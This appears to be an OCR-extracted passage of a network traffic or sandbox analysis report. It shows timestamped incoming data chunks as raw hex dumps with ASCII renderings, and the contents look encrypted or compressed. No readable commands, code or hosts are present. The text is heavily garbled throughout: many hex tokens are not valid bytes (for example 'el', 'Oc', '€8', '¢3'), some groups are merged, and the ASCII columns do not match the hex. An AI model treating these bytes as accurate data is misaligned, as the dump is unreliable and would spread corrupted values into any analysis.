Data Ascii: "]TdAdiv=cyRIzeB3>CcEE[ .g@7@"0YpL-,Dy?KTUbP&B|6,gAMSY T#;;wvPf_=0"uZjJT"meU 1nR$Q*u|af~t&
“jIV#\fl:Dce

2022-01-13 19:22:18 UTC 73 IN Data Raw: 3c 85 8d 7f de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf el 5d 7c 47 15 bf €8 54 e0 46 d2
81 75 04 b3 b9 4f 52 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc 3 5b 26 de 84 81 e0 f1 c8 f9 67 48 c5 bf 71 25 {7 d5 65
a3 c8 7a ba Ob 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 €8 04 4d 4f 94 7a d2 4e f0 ac
2a1c 6058 aa f5dc 17 29 8d 2c 07 43 Oc 7e b3 a5 84 42 9e fd Oc 57 aa 04 ¢3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 Oe 54
71 a2 d5 74 75 f3 b9 cb 5b db 83 ¢5 92 62 €8 14 74 ad bc d1 74 21 b0 ec b5 Oe 81 b4 c¢7 20 7a b1 54 85 65 5b 7b 5b 9b 68
91 f8 45 a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f f6 f4 79 25 f4 4c d1 aa 1a Oa 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4
6e b6 22 68 98 77 d3 75 b9 1a 7c 78 a0 6a 79
Data Ascii: <H6=f5&z]| GTFUOR}6DFWR[&gHq%ezEd.IGz7QWMOzN*"X),C~BW|&I"rTqtu[btt! zTe[{{hED_AKGYy%L&"Z8n
"hwul|xjy

2022-01-13 19:22:18 UTC 75 IN Data Raw: b1 68 df 80 7b 64 47 ef 24 ¢5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 {7 fe c4
30 62 3a 47 5afl 54 4a 26 7c 1f 54 11 bc d4 {3 a0 Oc bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d al c3 fd 65 75
bc da 2b 68 fa 4a 69 ae 41 b1 56 9b aa 93 58 61 Oe 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b
1591 f4 4¢c 96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 {7 ce ea d4 68 6b 75 8d ee
0f 6¢ 26 06 57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2¢ 0d c3 cd 17 30 ce 84 bc de
6b 51 bc 5e 6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d al c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86
51 3c 8c e6 cO a3 cl 51 69 b8 26 67 5e f7 9a 60 ea
Data Ascii: h{dG$K-;A0b:GZTJI&|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ"j-@+?QM&-F}H)
Va'mQ<Qi&g"

2022-01-13 19:22:18 UTC 76 IN Data Raw: 5e 46 d1 74 e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c Oc 96 07 3b 1a 7a 74 4a 1c 0Of c1 1c 60 38 93 32 a6 05
6b 11 13 6f d3 2a 18 1f fe 97 4c Oa €0 98 3f bf 85 25 c¢7 2f 8¢ 37 a2 d7 €9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f
91 a0 1b b6 a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2¢ 05 32 f9 0f ce 5¢ 13 6b 5d 65 0d
d4 9b 92 76 a6 44 3c 36 8f 8b Oc 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 €2 31 0f 99 el 1b f6 36 16 b3 5a ed 33 32
b5 00 d3 72 a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c7 81 c3 56 €9 48 9a ec Oe dc 1d 09 a3 8a 2d 3f a3
93 f49c 5e 6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d Oa df b6 83 50 bd 24 65 8c fc 52 c6 30 da fO 5e 36 5d 31 74 d3 74 c8
49 3e 91 be c6 c0 d1 72 04 59 35 85 c9 70 ¢5 19 c7
Data Ascii: ~Ft(f.o L|;ztd"82ko*L?%/7:z1qy>/Hgn7Fn:C,2\k]evD<69Pgg16Z32r9m,$zVH-?"mpwl1="mP$eR0"6]1ttI>rY5p

2022-01-13 19:22:18 UTC 77 IN Data Raw: 29 44 4f ea Oe 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 f3 9 6f 0d a9 8e 17
53 5d 6a ca f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 Oc ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 6 16
4e cae2eb5 28 8c af b3 b2 a9 3b 17 91 f4 56 el a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b
56 e7 3b ff d5 32 7f 50 79 7b 33 84 52 bc b5 2¢ 9f 75 48 c8 fa ff 1c 9 4a d5 6d 1d 7d 37 al 88 e7 f8 cc Oe 96 3c 5e bd 06
6c 90 79 37 a6 4a 61 46 85 11 89 35 Oe fe 12 46 cc 7 9f 9a 0f 00 42 60 fO af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb
9b e8 a0 02 b2 53 5d 33 2e 13 cd ¢9 d3 3c 3f a0 1d bl a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 Oe 9a Of a2 Oc 6d 5e ff d2
ad 97 71 1b 93 b7 a4 46 c9 1b 84 50 bb 21 e9
Data Ascii: )DOU|/U7[za~voS]jihPsql q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHIm}7<"ly7JaF5FB"A)0sS]3.<?N9m~qFP!

2022-01-13 19:22:18 UTC 79 IN Data Raw: 20 31 6b 45 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec el 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24
6336 b2 08 eb fb 52 1b 44 07 7a 66 5d 1c Ob 9f 1c Oe df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 Ob 39 7a 0a 79 52 3c 99 €6
d6 93 ef 75 a0 62 10 a4 02 dc 94 7c Le 83 29 ff cd 6¢ 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6
2317 d1 24 28 de ¢3 18 55 4e 94 07 41 fb ¢8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff dO f5 c2 7f 37
d2 1c 78 c0 68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb
dc df b7 55 71 77 bd d2 ec be c3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 bl 91 9 d1 65 64 db a6 ba e6 a7 9c 07 2d
4b 10 54 ee 27 a9 e8 e5 2d dd 08 24 c2 ¢9 79 22 62 ea
Data Ascii: 1KEM-I$XPC*wX:$c6RD2f]2.jiw?n9zyR<ub])IS;g#$(UNAOZKM +nD7xhBaK$P3j@Uqw_sI7zued-KT-$y"b

2022-01-13 19:22:18 UTC 80 IN Data Raw: 3a b4 f4 aa 6¢ 91 e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c¢ f1 fa e4 €5 34 19 cd 30 10 1c 67 d5 91 b7 a8 Of
d5 30 01 63 0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c¢3 5¢ e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 el a2 40 30 57 74 61
96 b2 67 Oc a7 90 b0 ca 32 56 €9 63 1b 35 72 6f 4d 5e a6 Oe 86 e4 77 71 2c 5a f2 8f Oe 91 a4 1d a9 9c ce 1b 2f de 8b 85
€9 b8 8a 88 15 ce bd 50 13 34 c2 84 4f 17 ¢6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38
70 af 00 00 el Oa b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3¢ 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42
2119c7 69 le ch c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 ¢3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b
ba 06 04 f1 34 b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01
Data Ascii: :16Z0&y>,Wg\40g0cy QXF;\0Q6L2@0Wtag2Vc5roMAw(q,Z/P406?]HKNJ88p,z(z<RIRbOZB!iw" ~B n5wzDX}"
k4uA

2022-01-13 19:22:18 UTC 81 IN Data Raw: d1 b1 0d d4 af cd d4 0f cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6¢ 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5
fe 40 dc 53 41 59 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 el Ob cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72
el 1e 60 Oc 88 2a eb fb a9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1la 7c ab 48 d8 9c Of 7a bd e8
d8 32 f5 de 95 f5 76 18 33 24 08 ba de e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c
3cc6 52 ce ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71
4154 5¢c e7 3592 82 5¢c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31
fa b8 ba c2 df 19 31 92 27 88 4e bc dc 9e 06 5e e0
Data Ascii: v?I0Tj_).@SAY1*Hr@P@ okkXr *rk~GQ(~2,|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-gAT\5{&s[&pOTgL
?BF11'NA
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 83 IN Data Raw: 51 34 fb 23 da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 Of
16 b2 1f b7 d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c¢ 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5¢ 46 cd 3a ea 5¢ 5a 3a 90 73 69 60
90 80 8¢ bb 46 1b d8 35 8f 29 35 9f 27 a0 3b a2 Oe 76 €9 2f 99 bb 39 33 7c 9b 97 63 97 d6 €0 81 c3 25 e0 54 b9 53 42 79
49 db b0 33 fc e4 6f Of b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 Ob d8 e2 Oc 42
83 d5 1f 84 dd 51 2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 {7 cd ¢8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6
8254 9e 5¢ 97 al 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c al e6 f0 c6 d9 a7 ee c7 ¢8 59 01 2d a4 80 al f2 ee 56 f2
3a b0 cd 15 b0 3c 30 be 62 b8 40 33 90 0f 98 7f
Data Ascii: Q4#@1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si'F5)5';v/93|c%TSByl30>;FhQ]d\t0BQ-NZCU?$H;;_uliT\qE]vz,Y-V:
<0b@3

2022-01-13 19:22:18 UTC 84 IN Data Raw: 8c 1b ad 5e 27 al 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd Of bf 40 4e 08 7c dc e3 b3 ba 28
13 a4 49 €3 90 1f 05 f1 8¢ 6b 78 b0 91 88 bb 43 a6 0Ob d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99
4a 3d b2 4c 37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77
7855 f2 f8 f6 7d 5b 7c 2c e4 2 3f b1 b8 9b 18 a8 5¢ 92 c6 33 da e0 92 73 3¢ c9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65
09 26 62 31 4a af 10 88 Ob be 8a 03 7 cc 4f ef 2b 9b e1 17 db 09 6b f5 €0 d7 d6 7f cO 93 ba bc af d3 60 65 1d €8 b4 da
52 a2 b7 64 cf 26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b
62 fd 7f 29 ec cf e6 52 df cc Of Oe 6 54 e2 95 ef
Data Ascii: M"'Zs"HXz@N]|(IkxC!~z \N1|"J=L7ph8IDO8]&> '))IxwxU}[|,?\3s<de&b1JO+k eRd&1dOMO|,}:)>+CMXz[b)RT

2022-01-13 19:22:18 UTC 85 IN Data Raw: 08 a4 16 c9 07 36 Oe d6 32 98 06 19 77 Of da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24
10 42 02 Oe a5 9b 11 02 fa Oa 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f
71d2 cb 15 7e c0 b3 d9 7e 5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6¢ bc 72 67 57 Oe ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc
9c 0d 70 b9 ac 05 61 0f 07 7b 32 36 4e 40 Oa ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2
a4 72 f9 5¢ 78 ¢7 ce 9d 07 23 1e 7f ¢7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 ¢3 12 57 c1 03 47 f8 4a de ca 5 6f 43 c3
a7 66 cf 1a ce ad ac 6c¢ fe b2 7d 42 7c d2 4f 04 df 5¢c €9 63 f1 e6 €7 79 f4 8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd
1a 67 e7 36 bd 10 57 c3 14 2e €0 8d be 9b e2 31
Data Ascii: 62WEE~)%Q19V$B"6&)F]FziYEq~~?hk-IrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B|O\cy6J!t ig6W.1

2022-01-13 19:22:18 UTC 87 IN Data Raw: 42 35 0f b9 37 17 dd 47 1d 8 e4 cO bc 78 df 59 01 ¢3 32 1e 31 f3 78 d8 e4 €3 69 a0 70 c5 2c b5 7b 2e 07 31 3¢
c4 ¢5 b0 29 f4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 Ob a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30
7b 56 9f 3e a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e Ob c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11
aa 8f 85 82 2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 Oc 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef d0 ff b2 7a b4 a5 f0
bc 67 19 22 3f b6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f
7d 45 b0 27 18 19 dd 82 2f 7d 3a 8d bc ¢4 7c dd 15 32 00 f3 94 63 97 88 2e el Oe 3f f5 ¢2 70 c¢7 1d 00 df 59 05 83 a9 80
19 a8 f0 de ec e5 58 5b 08 cd Oe ab bd 45 4d
Data Ascii: B57GxY21xip,{.1<)3?mef7w&>ro{V>[:+~7X$/*h0j*fx(qCSH;2zg"?!'H=kh?DT>P|/}E'/}:|]2c.?pYX[EM

2022-01-13 19:22:18 UTC 88 IN Data Raw: 83 b5 b1 b2 36 41 da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb al 34 7d 44 94 29 6 dd 3 d5 84 96 c4 ed 68 fd 4b 26
7197 46 c7 2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc {7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 fO ad ba 9¢c 7b ae b2 88 4c dc
83 d2 c4 69 06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 fO b3 1d c0 6d fe 74 7f
ae b0 33 3891 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14
4c 60 22 Oe 18 83 f2 7f a7 Of cb ¢8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec 3 bb d7
e1 77 b8 d5 01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c¢7 14 11 cf 8¢ 98 29
d3 bf d0 b7 a5 24 67 9a 31 92 c7 1f 7b de 8d 09
Data Ascii: 6A%<ux4}D)hK&qF,pKM*c{Li=LjRKNjR*mt38Y<OW+!KThiks6L "8s'83}XfwNTQBdSZme"H.a'a)$g1{

2022-01-13 19:22:18 UTC 89 IN Data Raw: ab a2 07 2a ¢3 b6 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 el ac 36 b5 0d b1 f6 €8 5e 04 b7 bf f0 b4 af 18 4f
€7 10 17 96 09 9a 2b 83 23 1a 84 eb 6¢ 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 Ob 72 b8
3878 37 3¢ 96 c9 6¢ f9 5a 8¢ 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 ¢3 50 d6 38 ec c7 da 4f 1b
8c fa ef 2f 9b ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 €9 3 03 20 c0 86 5e be 68 38 35 c5 Oe d3 44 6e 5¢ 58 2f 36 b4 27
80 ef 22 9f 86 51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 Ob d1 f6 aa 2e 14 e0 52 bc 9c ea c5
40 2a 10 17 8¢ 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20
65 08 b5 de 32 af 33 f4 5b fd 56 ff de 05 49 d9 68
Data Ascii: *3T$/N/496"O+#l+kgD*pYrWr8x7<1Zoa00c0,CIAP8O/6M<K]8r ~h85Dn\X/6"Q(_)5>50z%U?.R@*_abktRpf+'{$
e23[Vlh

2022-01-13 19:22:18 UTC 90 IN Data Raw: 5e 6¢ 30 83 03 c¢7 b4 dd al df d8 d9 e6 cc 8f f4 31 4e fe 24 3 6f f5 39 45 ae 48 ca 45 8¢ 95 e6 4f 23 92 d6 72 Oc
cf 24 06 b1 0d 44 94 73 55 bc 26 72 b1 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 f7 3¢ d7 63 27 76 16 €3 56 52 19 b3
Oe b4 ea 0d 7f 99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12
62 08 40 bb 16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff {7 ab
81 4d 33 db 8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c¢ ff
65 e9 78 c7 e6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1
35 0b 54 11 6f 70 d7 74 a0 f5 8f f3 bb b1 20 Oc
Data Ascii: 01N$09EHEO#r$DsU&r [#nD<cVVR|g.jqBP<q(102b@fm3?FF 9BM3nr"JQ]C%CBT>5vP\exPeVI~b1Vvv(}*
DdQ5Topt

2022-01-13 19:22:18 UTC 92 IN Data Raw: 30 cd 95 91 e3 01 2a 44 ce a6 Oe 5b 49 b9 85 85 7f 21 01 4d 26 79 2c 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 Oe
39 ¢3 58 19 95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6¢ 29 5d 0b 9d 93 d3 d9 ed b2 4c cc 8 Oe Oa fe 51 62
c4 8a 88 75 8f Oe 04 a4 f1 62 47 3a €0 e5 4b 3 08 2f 7b 43 53 dd 8 bl ff 6e 2a 84 b8 30 4c 63 e1 9e 87 c0 98 1 d7 bb
cd B¢ cb 96 90 93 18 50 81 44 83 44 be ¢4 91 6¢ 73 d4 04 b7 el 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6¢
2e 80 c2 ¢4 9e 18 89 df 16 40 3a 6f d8 7b €5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84
33 dd 57 f2 5b 7e bl 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 €5 25 fb dc 90 8b 68 96 76 3d f5 b7 1a ed 37 42 fc 30
12 cc 5d 68 8b 30 7 a3 cb 0d Le 75 2c 12 5e b4 69 45
Data Ascii: 0*D[IIM&y, Ttba{ProXxNI)]LQbubG:KACSn*0LcIPDDIsg3-"STdl.@:0{ [{J=2N3W[~1MNz'X%hv=7B0]h0u, NE

2022-01-13 19:22:18 UTC 93 IN Data Raw: 94 78 ae 90 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 6 45 99 80 d0 55 65 Of de 99 91 89 d5 fa el 16 5e
4c 12 31 ce aa al 54 bl 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d 6 41 aa 8c 65 ed
le 3c 4f a7 94 €3 97 Ob 41 €0 €0 00 47 22 e7 2f 93 24 25 34 e6 60 a8 c3 bb da d8 cd 89 3f e8 c8 17 Oa eb 27 1b 9c 59 38
36 ca 9a 7b d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de
aa e9 24 5a 3d cd ce e9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3
51 1e 15 7d 5a 32 6d e9 e5 40 4b 59 be 33 99 e9 7a 92 ae 01 f2 14 57 38 39 ¢7 04 af a9 a2 0f c6 7531 7d el e4 51 51 17
29 de 38 a4 6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 f2
Data Ascii: x3bd|_(;EUe L1T'V&>+CILi%MB8J]Ae<OAG"/$%4 ?'Y86{NhD)Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m
@KY3zW89u1}QQ)8mHVa|SH

2022-01-13 19:22:18 UTC 94 IN Data Raw: 71 bf 4a de 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8¢ 56 70 10 89 c5 48 d1 30 1f e8 bl b5 dO
ef 2c 84 56 eb 9a d7 d6 85 cb 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc e9 87 60 2e le 7e aa 5d 2¢c 88 Oc d6 e7 24 59 ad
b8 33 23 23 9b 4a 17 b6 d3 69 Oc 46 da 1a 8a 3f 5¢c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a el b7 2f 5¢ ff cb 6f 68 ee
2896 bb 51 4c ce e2 8d 68 83 d4 6¢ 35 35 96 61 7f 5¢ 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a 7 bf 8a 30 6d dc 7f
08 b4 24 7c be cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 al 12 b4 33 9d 83 ¢9 02 c9 75
25 46 1d 94 f8 a5 37 4b 8a 27 55 f7 d2 e5 2c el 5¢ 90 2d cb ¢3 a7 52 ab fa 5a 7f 2a ¢6 ¢9 77 20 Oc Oe 22 17 bc df 78 cd
74 b1 00 76 d9 ea 33 5d 7d 22 7e e3 63 al cb 06 fb d7
Data Ascii: qJVz* O#VpHO,Vcs g"L".~],$Y3##JiF?\.xZ}4Z/\oh(QLhI55a\Ki0tgo0m$|V (/#$] 7<t23u%F7K'U \-RZ*w "xtv3]}'~c
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 96 IN Data Raw: 01 7b 53 c0 1e 12 58 fb dO f6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac 7 c5 45 a9
43 db b6 fe 3d 1f cd 6¢ 8d 8 4e 4b b1l b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f Of b7 bc 08 df 83 24 10 5d 65 1b fb 5e
22 7fda 3f 72 c3 ef f1 50 68 56 fb c0 c2 a3 c4 22 e0 25 38 6e e7 80 be Oe 40 fe a2 0f c1 f3 72 62 2¢ 32 69 b2 87 b1 b4 39
b1 d8f0 11 6b 9d f7 dO ec bb 30 04 ac 26 29 9f €9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5¢ 59 d7 66 f9 86
3d 3f 54 80 56 6a 29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a €3 69 02 d5 04 al 4a c3 57 7e Ob Oa db e4 7f ac cc 8d ec b3 b0
81 2a 26 64 9b fe 35 0b 21 fO da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 al 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27
07 37 ae 80 fd ¢7 73 2b 92 16 fb 7e 6f 14 4a c6 a6
Data Ascii: {SX+xTX=>VNEC=INKk/ffHbY0$]e""?rPhV"%8n@rb,2i9k0&)qTgC1s6V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx
t_e'7s+~o0J

2022-01-13 19:22:18 UTC 97 IN Data Raw: 75 3a 27 f8 2a 1e 91 1c 6d 10 e5 bc 76 55 65 12 51 e7 e4 ab dc 8a 27 0d c5 4d ¢3 b7 ¢7 00 a8 18 fd 60 2d f9
8c 24 38 2a 7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e Oc e8 1b 5c fO be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 {8 88 4f
2d 88 6a 1f fe 5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3c 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 Oc 8f af d4
96 Of df 5a 80 4a cb 85 03 47 17 1b e8 a6 Oc 5a al 2c 37 ec 7d 2b bd 21 e9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9
74 b0 2b e7 ae fb 8b df Oc 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 e0 2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d
22 f2 5f 77 2e cf 97 21 f2 49 4b b6 34 01 ba b3 7b 6¢ ed 50 c0 76 24 6e 87 70 €9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de
88 ba 00 2d 26 c4 b4 4d 5d 71 9c da d6 eb a0 71 2f
Data Ascii: u:*mvUeQ'M’-$8*~W3J\u(DVIO-jZr<t_{?N)E<2j(KJ?ZIGZ,7T}H+!RWTV|t+@/8N8MXZ3+SA}"_w.!IK4{IPv$
npM)H8R-&M]qq/

2022-01-13 19:22:18 UTC 98 IN Data Raw: 6e 1b 90 33 e6 f5 8a Oe 13 bc d5 a3 42 33 93 54 24 Ob ba c2 6¢ 11 dd 1f 5f b0 40 dc 5¢ 8f 50 db 14 4a c1 c0 6¢
13 bc 9e 60 a4 46 92 3a 41 b9 al 40 3a 21 44 e2 el 72 bf 06 3d b5 b5 Oc 80 35 27 34 61 96 53 50 ca e5 89 8c dd 6a d4
98 2e 52 97 al f5 c6 8d 2f 8¢ 4d e0 4f 23 98 7b d1 8d fe 56 5¢ 25 8c eb ec de 74 61 60 f8 54 72 4d a4 6f 57 03 6f 5f 2f cf
